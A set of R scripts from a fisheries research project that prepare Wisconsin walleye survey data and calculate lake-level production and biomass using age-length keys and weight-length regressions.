cat("SOME LINES IN THE DATA PREPPER LOG HAVE CHANGED!!!\n\n")
cat("For lines that changed, the former file looked like this ...\n")
writeLines(old[changed_rows])
cat("\n... but the newer file looks like this ...\n")
writeLines(new[changed_rows])
} else print("There were no changes in the data prepper logs!!!")
<file_sep>library(dplyr)
source("code/helpers/calcPB.R")
## CJFAS2 ... Tenderfoot Lake example ... data from Rypel's Excel Sheet1
TLha <- 176.848
TLpe <- 3268
TLdf <- data.frame(age=3:12,
ppop=c(0.159090909,0.102272727,0.181818182,0.159090909,
0.113636364,0.079545455,0.045454545,0.056818182,
0.034090909,0.068181818),
mwt=c(0.233595447,0.368444815,0.632462338,0.840408144,
1.183904849,1.496548855,1.864091273,2.134780372,
2.936385973,3.405581956))
TLdf <- mutate(TLdf,num=TLpe*ppop,twt=num*mwt)
TLdf
TLres <- calcPB(TLdf,age.c="age",num.c="num",twt.c="twt",
area=TLha,lbl="Tenderfoot Example")
TLres$df
TLres$B # 20.61249
TLres$P # 4.907816
# Matches Rypel's Excel sheet exactly
## CJFAS1 ... Escanaba Lake example ... data from Rypel's Excel Sheet2
ELha <- 118.5728
ELdf <- data.frame(age=c(0,3:15,18),
num=c(11983.7,924,745,29,501,170,108,46,58,79,17,4,4,4,4),
twt=c(1306.743864,270.71974,325.1945823,18.64802305,
436.9521289,188.4361874,157.6588566,81.2310472,
120.6657629,194.1304121,45.71067112,12.83364195,
13.53191397,13.76769242,15.62439983))
ELres <- calcPB(ELdf,age.c="age",num.c="num",twt.c="twt",
area=ELha,lbl="Escanaba Lake Example")
ELres$df
ELres$B # 27.00323
ELres$P # 6.07475
# Matches Rypel's Excel sheet exactly
<file_sep># ======================================================================
## Compare emperical and smoothed ALKs
SM_res <- read.csv("results/PB_07Aug2017_0827_smoothed.csv",stringsAsFactors=FALSE) %>%
filterD(use=="yes")
EM_res <- read.csv("results/PB_07Aug2017_0831_empirical.csv",stringsAsFactors=FALSE) %>%
filterD(use=="yes")
PBres <- inner_join(EM_res[,c("wbic_year","P","B")],
SM_res[,c("wbic_year","P","B")],
by="wbic_year",suffix=c(".E",".S"))
plot(B.E~B.S,data=PBres,pch=19,col=col2rgbt("black",1/5),
xlab="Smoothed B",ylab="Empirical B")
abline(a=0,b=1,lty=2,col="red")
plot(I(B.E-B.S)~B.S,data=PBres,pch=19,col=col2rgbt("black",1/5),
xlab="Smoothed B",ylab="Empirical-Smoothed B")
abline(h=0,lty=2,col="red")
plot(P.E~P.S,data=PBres,pch=19,col=col2rgbt("black",1/5),
xlab="Smoothed P",ylab="Empirical P")
abline(a=0,b=1,lty=2,col="red")
plot(I(P.E/B.E)~I(P.S/B.S),data=PBres,pch=19,col=col2rgbt("black",1/5),
xlab="Smoothed P/B",ylab="Empirical P/B")
abline(a=0,b=1,lty=2,col="red")
<file_sep># Clear workspace and console
rm(list=ls()); cat("\014")
# Load required packages
library(FSA); library(dplyr)
# Source local file
source("code/helpers/calcPB.R")
source("code/helpers/productionHelpers.R")
# ======================================================================
# Analysis choices that can be made (at this stage)
## Type of ALK to use ("empirical" or "smoothed")
alk2use <- "empirical"
## WBIC_YEAR
WBIC_YEAR <- "608400_2013"
# ======================================================================
# Load the data.frames and do initial wranglings
## Load WBIC characteristics
wbic <- read.csv("data/prepped/wbicInfo.csv",stringsAsFactors=FALSE)
## Load length data
fmdb <- read.csv("data/prepped/fmdb_WAE.csv",stringsAsFactors=FALSE)
## Population estimates
### Removed WBIC_YEARs for which no FMDB data existed
pe <- read.csv("data/prepped/PE.csv")
rows2delete <- which(!pe$wbic_year %in% unique(fmdb$wbic_year))
pe <- pe[-rows2delete,]
cat(length(rows2delete),"WBIC_YEARs were removed from PE data.frame
because no matching data in FMDB data.frame.")
## Load age-length-key information
### Only retain information for ALKs that are valid to use
### Retain only variables that are need when using the ALK
ALKInfo <- read.csv("data/prepped/ALKInfo.csv",stringsAsFactors=FALSE) %>%
filterD(use=="yes") %>%
select(type,which,ename,sname)
## Load weight-length regression results
### Only retain regressions results that are valid to use
### Remove variables that defined use and reason for not using
LWRegs <- read.csv("data/prepped/LWregs.csv",stringsAsFactors=FALSE) %>%
filterD(use=="yes") %>%
select(-use,-reason)
# ======================================================================
# Isolate length data
fmdb_1 <- filterD(fmdb,wbic_year==WBIC_YEAR)
# get PE and size data
PE <- getPE(fmdb_1,pe)
HA <- getSize(fmdb_1,wbic)
# Find ALK
tmp <- doALK(fmdb_1,ALKInfo,alk2use)
fmdb_1 <- tmp$df
headtail(fmdb_1)
# Find WL regression, Predict and add weights
if (nrow(fmdb_1)>0) {
tmp <- doLWReg(fmdb_1,"len.mm","wt",LWRegs)
fmdb_1 <- tmp$df
}
if (nrow(fmdb_1)>1) {
sum_1 <- group_by(fmdb_1,age) %>%
summarize(snum=n(),mwt=mean(wt)/1000) %>%
mutate(pnum=snum/sum(snum)*PE,twt=pnum*mwt) %>%
calcPB(age.c="age",num.c="pnum",twt.c="twt",
area=HA,adjAgeGaps=TRUE,lbl=WBIC_YEAR)
P <- sum_1$P
B <- sum_1$B
} else P <- B <- NA
P
B
round(sum_1$df,2)
windows(10.5,3.5)
plot(sum_1)
<file_sep>## Clear workspace and console
rm(list=ls())
cat("\014")
## Load required packages
library(FSA)
library(dplyr)
library(magrittr)
# ======================================================================
# Load prepped ALK data
alk_res <- read.csv("data/prepped/LWRegs.csv")
# ======================================================================
# Exploring the regression results
## Number of regressions excluded by reason
addmargins(xtabs(~type+reason,data=filterD(lw_res,use=="NO")))
## Distributions
boxplot(n~reason,data=filterD(lw_res,use=="NO"),ylab="n")
boxplot(rsq~reason,data=lw_res,ylab="r^2")
boxplot(b~reason,data=lw_res,ylab="b")
clrs <- col2rgbt(c("red","black"),1/4)
plot(loga~b,data=lw_res,pch=19,col=clrs[as.numeric(use)])
abline(v=b.cut,lty=2,col="red")
legend("topright",c("NO","yes"),pch=19,col=clrs,bty="n")
plot(rsq~n,data=lw_res,pch=19,col=clrs[as.numeric(use)],log="x")
abline(v=n.cut,lty=2,col="red"); abline(h=rsq.cut,lty=2,col="red")
legend("bottomright",c("NO","yes"),pch=19,col=clrs,bty="n")
with(lw_res,plot(n,maxLen-minLen,log="x",pch=19,col=clrs[as.numeric(use)]))
legend("bottomright",c("NO","yes"),pch=19,col=clrs,bty="n")
<file_sep>## Clear workspace and console
rm(list=ls()); cat("\014")
# ######################################################################
# ======================================================================
# This script read the original data files as delivered to us from the
# WiDNR database and located in 'data/originals/'. The data files are
# then manipulated, mostly to reduce the number of unneeded variables
# (columns), remove unneeded records (rows), and create new veriables
# that will be needed for the full analysis. The results of these
# wranglings are output to appropriate CSV files in 'data/prepped/'.
# The prepped files are read and their data further wrangled as
# appropriate for the larger analysis.
#
# THIS SCRIPT SHOULD NOT NEED TO BE RUN AGAIN AS IT WILL OVERWRITE
# THE PREPPED FILES IN 'data/prepped/'.
# However, as a safeguard, the files will only be overwritten if the
# writePreppedFiles object below is set to TRUE. If writePreppedFiles=
# TRUE, then a log will be written in the prepped files folder. A
# message will be printed at the end of the script that indicates if the
# log has changed from the immediately previous version. If there are
# changes you should assure yourself that that was expected.
writePreppedFiles <- FALSE
# ======================================================================
# ######################################################################
# ======================================================================
# Setup
## Load required packages
library(FSA); library(plyr); library(dplyr); library(magrittr)
## Load local helper files
source("code/helpers/productionHelpers.R")
## Initialize log variable
log <- c(paste0("Ran Data Prepper to create new prepped files on ",
date(),".","\n","\n"))
## Set the random number seed. Expanding the lengths of the fish
## generates a random length between the lower and upper lengths of the
## length bin. This help keep some constancy in that randomization.
tmp <- 82340934
set.seed(tmp)
log <- c(log,paste("Random seed was set to",tmp,".\n\n"))
# ======================================================================
# Read and prep the PE data file.
## Renamed variables (preference and consistency)
## Added wbic-year combination variable
## Reordered variables and sorted rows by wbic and year (preference)
PE <- read.csv("data/original/walleye_pe_data.csv")
log <- c(log,paste("Loaded PE.csv with",ncol(PE),"variables and",
nrow(PE),"records."))
PE %<>% rename(wbic=WBIC,year=Year) %>%
mutate(wbic_year=paste(wbic,year,sep="_")) %>%
select(wbic_year,wbic,year,PE) %>%
arrange(wbic,year)
## Removed wbics that ended in 1 (these are lake chains) ... check this
## by running first two lines below and PE[(PE$wbic %% 10)==1,]
tmp <- nrow(PE)
PE %<>% filterD(!(wbic %% 10)==1)
log <- c(log,paste("Removing lake chains deleted",tmp-nrow(PE),
"WBIC_YEAR PE values."))
# Found unique wbic and wbic_year codes in the PE file.
## We must have a PE to estimate P and B. Thus, these wbic codes can be
## used to filter down the other (ROW, FMDB, etc.) files so that we
## limit memory issues. Note, however, that there are some WBIC_YEARs
## in the PE file that are not in the FMDB file (per message from AR on
## 3-Aug-17.)
wbics <- unique(PE$wbic)
wbic_years <- unique(PE$wbic_year)
log <- c(log,paste("There are",length(wbic_years),"unique WBIC_YEARS and",
length(wbics),"unique WBICs in PE.csv."))
## Write out the file ... PE.csv
if (writePreppedFiles) {
write.csv(PE,"data/prepped/PE.csv",row.names=FALSE)
log <- c(log,paste("Saved prepped PE.csv with",ncol(PE),"variables and",
nrow(PE),"records.\n\n"))
}
# ======================================================================
# Read and prep the WBIC characteristics file (ROW)
## Reduced to only WBICs for which we have a PE
## Selected only needed columns, renamed those columns
## Did not include area, lat, long, or depths as those values seemed
## more complete in the lake classification file that AR sent (below)
## Converted mean depth to meters
wbicInfo <- read.csv("data/original/ROW.csv")
log <- c(log,paste("Loaded ROW file with",ncol(wbicInfo),"variables and",
nrow(wbicInfo),"records."))
wbicInfo %<>% filterD(WBIC %in% wbics) %>%
select(WBIC,OFFICIAL_NAME,WATERBODY_TYPE_DESC,OFFICIAL_SIZE_ACRES,
MEAN_DEPTH_FT,MAX_DEPTH_FT,LL_LAT_DD_AMT,LL_LONG_DD_AMT) %>%
rename(wbic=WBIC,name=OFFICIAL_NAME,wb_type=WATERBODY_TYPE_DESC,
size=OFFICIAL_SIZE_ACRES,mean_depth=MEAN_DEPTH_FT,
max_depth=MAX_DEPTH_FT,lat=LL_LAT_DD_AMT,long=LL_LONG_DD_AMT) %>%
mutate(mean_depth=round(mean_depth*0.3048,1),
max_depth=round(max_depth*0.3048,1),
size=round(size*0.404686,1))
headtail(wbicInfo)
## Read AR's lake classifications
## Selected only needed columns, renamed those columns
## Made lake class names simpler
wbicInfo2 <- read.csv("data/original/Supplementary Dataset 8 - Final Lake Class List.csv",
stringsAsFactors=FALSE)
log <- c(log,paste("Loaded Rypel's Lake Class List file with",
ncol(wbicInfo2),"variables and",nrow(wbicInfo2),"records."))
wbicInfo2 %<>% select(WBIC,County,Final.Lake.Class) %>%
rename(wbic=WBIC,county=County,class=Final.Lake.Class) %>%
mutate(class=mapvalues(class,
from=c("Complex - Cool - Clear","Complex - Cool - Dark",
"Complex - Riverine","Complex - Two Story",
"Complex - Warm - Clear","Complex - Warm - Dark",
"Simple - Cool - Clear","Simple - Cool - Dark",
"Simple - Harsh - Has Fishery","Simple - Harsh - No Fishery",
"Simple - Riverine","Simple - Trout Pond",
"Simple - Two Story","Simple - Warm - Clear",
"Simple - Warm - Dark"),
to=c("CCC","CCD","CR","C2S","CWC","CWD","SCC","SCD",
"SHF","SHN","SR","STP","S2S","SWC","SWD")))
headtail(wbicInfo2)
## Joined the county names, lake class, size, depths, and coordinate
## variables from AR's lake class file to the ROW file
## Rearranged columns and ordered rows by WBIC
wbicInfo <- plyr::join(wbicInfo,wbicInfo2,by="wbic") %>%
select(wbic,name,county,class,wb_type,lat,long,size,max_depth,mean_depth) %>%
arrange(wbic)
## Note that only 9 WBICs were in three "simple" lake classifications --
## collapsed these three classes into one called "SIM" for simple.
xtabs(~class,data=wbicInfo)
wbicInfo %<>% mutate(class=mapvalues(class,from=c("SCC","SWC","SWD"),
to=c("SIM","SIM","SIM")))
xtabs(~class,data=wbicInfo)
headtail(wbicInfo)
## Fill in some information that was missing from the files but was
## available in the online lakes finder (addresses some later issues)
#### For Patten Lake
wbicInfo$county[wbicInfo$wbic==653700] <- "Florence"
#### For Plum Lake
wbicInfo$county[wbicInfo$wbic==2963200] <- "Vilas"
#### Note that the county for Pike Chain of Lakes is still NA
## Write out the file ... wbicInfo.csv
if (writePreppedFiles) {
write.csv(wbicInfo,"data/prepped/wbicInfo.csv",row.names=FALSE)
log <- c(log,paste("Saved prepped wbicInfo.csv with",ncol(wbicInfo),
"variables and",nrow(wbicInfo),"records.\n\n"))
}
# ======================================================================
# Read and prep the age-length-weight data file
## Selected only needed columns, renamed those columns -- note that the
## Number.of.Fish was not selected because all 1s
## Added month, length in mm, and wbic-year combination variables
## Converted gears to smaller groupings
## Converted weight to numeric (was character because of commas)
## Reduced to only WBICs for which we have a PE
## Reduced to only fyke nets
## Reduced to only sampling in March, April, and May
## Rearranged columns and sorted rows by wbic, year, length, and age
lwa <- read.csv("data/original/length_weight_age_raw_data_8_1_17.csv",
stringsAsFactors=FALSE,na.strings=c("-","NA",""))
log <- c(log,paste("Loaded length_weight_age file with",
ncol(lwa),"variables and",nrow(lwa),"records."))
lwa %<>% select(WBIC,Survey.Year,Sample.Date,Length.IN,Weight.Grams,
Age..observed.annuli.,Age.Structure.,Gender,Gear.Type) %>%
rename(wbic=WBIC,year=Survey.Year,mon=Sample.Date,sex=Gender,
len.in=Length.IN,wt=Weight.Grams,
age=Age..observed.annuli.,strux=Age.Structure.,gear=Gear.Type) %>%
mutate(mon=format(as.Date(mon,"%m/%d/%Y"),"%b"),
gear=mapvalues(gear,from=c("AC BOOM SHOCKER","BACKPACK SHOCKER",
"BOOM SHOCKER","BOOM SHOCKER OR MINI-BOOM SHOCKER",
"BOTTOM GILL NET","DC BOOM SHOCKER","FYKE NET",
"GRID","HOOK AND LINE","HOOP NET","HOOP TRAP",
"MINI-BOOM SHOCKER","MINI BOOM SHOCKER",
"MINI FYKE NET","MINI FYKE NET WITH TURTLE EXCLUSION",
"MINI FYKE NET WITHOUT TURTLE EXCLUSION",
"MULTIPLE GEAR TYPES","POISON","SEINE",
"STREAM SHOCKER","TEST NET","UNKNOWN"),
to=c("boom shocker","other","boom shocker",
"boom shocker","other","boom shocker",
"fykenet","other","other","other","other",
"boom shocker","boom shocker","mini-fyke",
"mini-fyke","mini-fyke","multiple","other",
"other","other","other","unknown")),
len.mm=len.in*25.4,
wt=as.numeric(gsub(',','',wt)),
wbic_year=paste(wbic,year,sep="_")) %>%
filterD(wbic_year %in% wbic_years) %>%
filterD(gear=="fykenet",mon %in% c("Mar","Apr","May")) %>%
select(wbic_year,wbic,year,len.in,len.mm,wt,age,sex,strux) %>%
arrange(wbic,year,len.mm,age)
## Join on the county and lake class variables
## Note that only 3 vars are kept in wbicInfo so that only county
## and class (and not mean_depth, etc.) will be added
## Rearranged columns
lwa <- plyr::join(lwa,wbicInfo[,c("wbic","county","class")],by="wbic") %>%
select(wbic_year,wbic,year,county,class,len.in,len.mm,wt,age,sex,strux)
# Isolate those fish that have both length and weight
## Remove age and strux variables
lw <- filterD(lwa,!is.na(len.mm),!is.na(wt)) %>%
select(-age,-strux)
log <- c(log,paste(nrow(lw),"fish had lengths and weights."))
## Removed fish for which the len.in variable was <1
rows2delete <- which(lw$len.in<1)
if (length(rows2delete)>0) lw <- lw[-rows2delete,]
log <- c(log,paste("Deleted",length(rows2delete),"rows with a length (in) < 1."))
## Removed fish for which the wt (in grams) variable was <1
rows2delete <- which(lw$wt<1)
if (length(rows2delete)>0) lw <- lw[-rows2delete,]
log <- c(log,paste("Deleted",length(rows2delete),"rows with a weight (g) < 1."))
## Write out the file ... len_wt.csv
if (writePreppedFiles) {
write.csv(lw,"data/prepped/len_wt.csv",row.names=FALSE)
log <- c(log,paste("Saved prepped len_wt.csv with",ncol(lw),
"variables and",nrow(lw),"records.\n"))
}
# Isolate those fish that have both length and age
## Remove wt variable
la <- filterD(lwa,!is.na(len.mm),!is.na(age)) %>% select(-wt)
log <- c(log,paste(nrow(la),"fish had lengths and ages."))
## Remove fish with age>3 and len.in<5
rows2delete <- which(la$age>3 & la$len.in<5)
if (length(rows2delete)>0) la <- la[-rows2delete,]
log <- c(log,paste("Deleted",length(rows2delete),"rows with age>3 and len.in<5."))
## Write out the file ... len_age.csv
if (writePreppedFiles) {
write.csv(la,"data/prepped/len_age.csv",row.names=FALSE)
log <- c(log,paste("Saved prepped len_age.csv with",ncol(la),
"variables and",nrow(la),"records.\n\n"))
}
## Find smallest age-3 fish ... used to limit FMDB below
## round down to nearest 0.5-in category
min.len.age3 <- lencat(min(la$len.in[la$age==3],na.rm=TRUE),w=0.5)
# ======================================================================
# Read and prep the FMDB data file
## Selected only needed columns, renamed those columns
## Added WBIC_YEAR and mon(th) variables
fmdb <- read.csv("data/original/raw_data_walleye_20170803.csv",
stringsAsFactors=FALSE,na.strings=c("-","NA",""))
log <- c(log,paste("Loaded walleye FMDB file with",ncol(fmdb),
"variables and",nrow(fmdb),"records."))
fmdb %<>% select(WBIC,SURVEY_YEAR,SAMPLE_DATE,FISH_LENGTH_OR_LOWER_IN_AMT,
FISH_LEN_UPPER_IN_AMT,FISH_COUNT_AMT,SEX_TYPE,
GR_TY_SHRT_NAME) %>%
rename(wbic=WBIC,year=SURVEY_YEAR,mon=SAMPLE_DATE,
sex=SEX_TYPE,gear=GR_TY_SHRT_NAME) %>%
mutate(wbic_year=paste(wbic,year,sep="_"),
mon=format(as.Date(mon,"%m/%d/%Y"),"%b"),
gear=mapvalues(gear,from=c("BOOM SHOCKER","BOOM SHOCKER OR MINI-BOOM SHOCKER",
"BOTTOM GILL NET","DC BOOM SHOCKER",
"FLOATING GILL NET","FYKE HOOP TRAP OR DROP NET",
"FYKE NET","HOOK AND LINE","MINI BOOM SHOCKER",
"MINI FYKE NET","MINI FYKE NET WITH TURTLE EXCLUSION",
"MINI FYKE NET WITHOUT TURTLE EXCLUSION",
"MULTIPLE GEAR TYPES","SEINE","UNKNOWN",
"VERTICAL GILL NET","BACKPACK SHOCKER",
"BOTTOM TRAWL","HOOP NET","HOOP TRAP",
"LONG LINE SHOCKER","POISON","SPEARING",
"STREAM SHOCKER","TRAP NET"),
to=c("boom shocker","boom shocker","other","boom shocker",
"other","fykenet","fykenet","other","boom shocker",
"mini-fyke","mini-fyke","mini-fyke","multiple","other",
"unknown","other","other","other","other","other",
"other","other","other","other","other")))
## Reduced to only WBIC_YEARs for which we have a PE
wys_fmdb <- unique(fmdb$wbic_year)
log <- c(log,paste("There were originally",length(wys_fmdb),"WBIC_YEARs."))
fmdb %<>% filterD(wbic_year %in% wbic_years)
wys_fmdb <- unique(fmdb$wbic_year)
log <- c(log,paste(length(wys_fmdb),"WBIC_YEARs remaining after matching with PEs."))
fmdb%<>% filterD(gear=="fykenet",mon %in% c("Mar","Apr","May"))
tmp <- unique(fmdb$wbic_year)
log <- c(log,paste("Deleted",length(wys_fmdb)-length(tmp),
"WBIC_YEARs after reducing to fyke nets in spring."))
log <- handleLostWBIC_YEARs(log,wys_fmdb,fmdb)
wys_fmdb <- unique(fmdb$wbic_year)
log <- c(log,paste("Thus,",length(wys_fmdb),
"WBIC_YEARs remained after matching with PEs and reducing to fyke nets in spring."))
## Handling database errors or issues (per AR e-mail 1-Aug-17)
## Don't use filterD() because it removes NAs which causes issues!!!!!
## Removed rows where a number of fish is given, but no lengths
rows2delete <- which(fmdb$FISH_COUNT_AMT>0 & is.na(fmdb$FISH_LENGTH_OR_LOWER_IN_AMT))
if (length(rows2delete)>0) fmdb <- fmdb[-rows2delete,]
log <- c(log,paste("Deleted",length(rows2delete),"rows with fish but no length."))
log <- handleLostWBIC_YEARs(log,wys_fmdb,fmdb)
wys_fmdb <- unique(fmdb$wbic_year)
## Removed rows with "lower" length greater than "upper" length
rows2delete <- which(fmdb$FISH_LENGTH_OR_LOWER_IN_AMT>fmdb$FISH_LEN_UPPER_IN_AMT)
if (length(rows2delete)>0) fmdb <- fmdb[-rows2delete,]
log <- c(log,paste("Deleted",length(rows2delete),
"rows with lower length > upper length."))
log <- handleLostWBIC_YEARs(log,wys_fmdb,fmdb)
wys_fmdb <- unique(fmdb$wbic_year)
### Removed rows with negative lengths
rows2delete <- which(fmdb$FISH_LENGTH_OR_LOWER_IN_AMT<0 | fmdb$FISH_LEN_UPPER_IN_AMT<0)
if (length(rows2delete)>0) fmdb <- fmdb[-rows2delete,]
log <- c(log,paste("Deleted",length(rows2delete),"rows with negative lengths."))
log <- handleLostWBIC_YEARs(log,wys_fmdb,fmdb)
wys_fmdb <- unique(fmdb$wbic_year)
## Removed rows where a number of fish is given, but the lower length
## is zero and the upper length is positive. I think this is for fish
## that were counted as less than the upper length. Two of the upper
## lengths were 50 which were likely typos, one was 12, two were 9,
## and the rest were <6.9. Only the 12 would likely come close to
## affecting P calculations, but there is no way to assign realistic
## lengths to these fish (because will be between 0 and 12).
rows2delete <- which(fmdb$FISH_LENGTH_OR_LOWER_IN_AMT==0 &
fmdb$FISH_LEN_UPPER_IN_AMT>0 & fmdb$FISH_COUNT_AMT>0)
if (length(rows2delete)>0) fmdb <- fmdb[-rows2delete,]
log <- c(log,paste("Deleted",length(rows2delete),
"rows from the FMDB in a 'small fish' bin."))
log <- handleLostWBIC_YEARs(log,wys_fmdb,fmdb)
wys_fmdb <- unique(fmdb$wbic_year)
## If no or zero numbers of fish but there are lengths then assume
## there is one fish.
fmdb$FISH_COUNT_AMT[is.na(fmdb$FISH_COUNT_AMT) &
!is.na(fmdb$FISH_LENGTH_OR_LOWER_IN_AMT)] <- 1
fmdb$FISH_COUNT_AMT[fmdb$FISH_COUNT_AMT==0 &
!is.na(fmdb$FISH_LENGTH_OR_LOWER_IN_AMT)] <- 1
## Generated individual lengths for fish recorded in length bins
tmp <- capture.output(fmdb %<>% expandCounts(~FISH_COUNT_AMT,
~FISH_LENGTH_OR_LOWER_IN_AMT+FISH_LEN_UPPER_IN_AMT,
new.name="len.in"),type="message")
log <- c(log,tmp[-5])
## Added a length in mm variable
## Rearranged the columns and sorted the rows by wbic, year, and length
fmdb %<>% mutate(len.mm=len.in*25.4) %>%
select(wbic_year,wbic,year,mon,gear,len.in,len.mm,sex,lennote) %>%
arrange(wbic,year,len.mm)
## WBIC_YEAR = "1018500_2003" had three large fish where the len.in
## was clearly mm. This corrects that for those three fish.
rows2correct <- which(fmdb$wbic_year=="1018500_2003" & fmdb$len.in>500)
fmdb$len.in[rows2correct] <- fmdb$len.in[rows2correct]/25.4
fmdb$len.mm[rows2correct] <- fmdb$len.mm[rows2correct]/25.4
## Removed fish that had a len.in>40 ... these were mostly a result of
## expanding lengths where the upper length was entered incorrectly
## (e.g., entering 134 instead of 13.4).
rows2delete <- which(fmdb$len.in>40)
if (length(rows2delete)>0) fmdb <- fmdb[-rows2delete,]
log <- c(log,paste("Deleted",length(rows2delete),"rows with a len.in >40."))
log <- handleLostWBIC_YEARs(log,wys_fmdb,fmdb)
wys_fmdb <- unique(fmdb$wbic_year)
## Removed fish that are shorter than the minimum length of age-3 fish
## We are ultimately going to limit the data to age-3 fish, so no need
## to keep fish with lengths that will never become age 3.
rows2delete <- which(fmdb$len.in<min.len.age3)
if (length(rows2delete)>0) fmdb <- fmdb[-rows2delete,]
log <- c(log,paste0("Deleted ",length(rows2delete),
" rows with a len.in less than the minimum length of age-3 fish (",
min.len.age3,")."))
log <- handleLostWBIC_YEARs(log,wys_fmdb,fmdb)
wys_fmdb <- unique(fmdb$wbic_year)
## Still some fish with no lengths ... remove these
rows2delete <- which(is.na(fmdb$len.mm))
if (length(rows2delete)>0) fmdb <- fmdb[-rows2delete,]
log <- c(log,paste("Deleted",length(rows2delete),"rows without a len.mm."))
log <- handleLostWBIC_YEARs(log,wys_fmdb,fmdb)
wys_fmdb <- unique(fmdb$wbic_year)
## Join on the county and lake class variables
## Note that only 3 vars are kept in wbicInfo so that only county
## and class (and not mean_depth, etc.) will be added
## Note that plyr::join() must be used rather than dplyr::left_join()
## because of memory issues with left_join()
fmdb <- plyr::join(fmdb,wbicInfo[,c("wbic","county","class")],by="wbic")
log <- c(log,paste(length(unique(fmdb$wbic_year)),
"WBIC_YEARs after all data prepping."))
## Write out the file ... fmdb_WAE.csv
if (writePreppedFiles) {
write.csv(fmdb,"data/prepped/fmdb_WAE.csv",row.names=FALSE)
log <- c(log,paste("Saved prepped fmdb_WAE.csv with",ncol(fmdb),
"variables and",nrow(fmdb),"records.\n\n"))
}
# ======================================================================
if (writePreppedFiles) {
# Write out log file
logconn <- file(paste0("data/prepped/dataPrepper_logs/dataPrepperLog_",
format(Sys.time(),"%d%b%Y_%H%M"),".txt"))
writeLines(log,logconn)
close(logconn)
# Compare with the most recent previous file
source("data/prepped/dataPrepper_logs/compDataPrepperLogs.R")
}
<file_sep>## Clear workspace and console
rm(list=ls())
cat("\014")
## Load required packages
library(FSA)
library(dplyr)
library(magrittr)
# ======================================================================
# Load prepped ALK data
alk_res <- read.csv("data/prepped/ALKInfo.csv")
# ======================================================================
# Exploring the ALK results
## Number of ALKs excluded by reason
addmargins(xtabs(~type+reason,data=filterD(alk_res,use=="NO")))
xtabs(~use,data=filterD(alk_res,sname=="NA"))
## Distributions
boxplot(n~reason,data=filterD(alk_res,use=="NO"),ylab="n")
clrs <- col2rgbt(c("red","black"),1/6)
plot(numLens~numAges,data=alk_res,pch=19,col=clrs[as.numeric(use)])
abline(v=ages.cut,lty=2,col="red"); abline(h=lens.cut,lty=2,col="red")
legend("topleft",c("NO","yes"),pch=19,col=clrs,bty="n")
plot(numAges~n,data=alk_res,pch=19,col=clrs[as.numeric(use)],log="x")
abline(v=n.cut,lty=2,col="red"); abline(h=ages.cut,lty=2,col="red")
legend("topleft",c("NO","yes"),pch=19,col=clrs,bty="n")
plot(numLens~n,data=alk_res,pch=19,col=clrs[as.numeric(use)],log="x")
abline(v=n.cut,lty=2,col="red"); abline(h=lens.cut,lty=2,col="red")
legend("topleft",c("NO","yes"),pch=19,col=clrs,bty="n")
|
4dd20c7e395b6c8548e4d3abfb7037567fdf67d5
|
[
"R"
] | 7
|
R
|
droglenc/Production
|
a67efb06bb78be836b04bd1db6ed32559ed17ac7
|
c86446483b20a47a27c04c6d5832cf5997accdc5
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.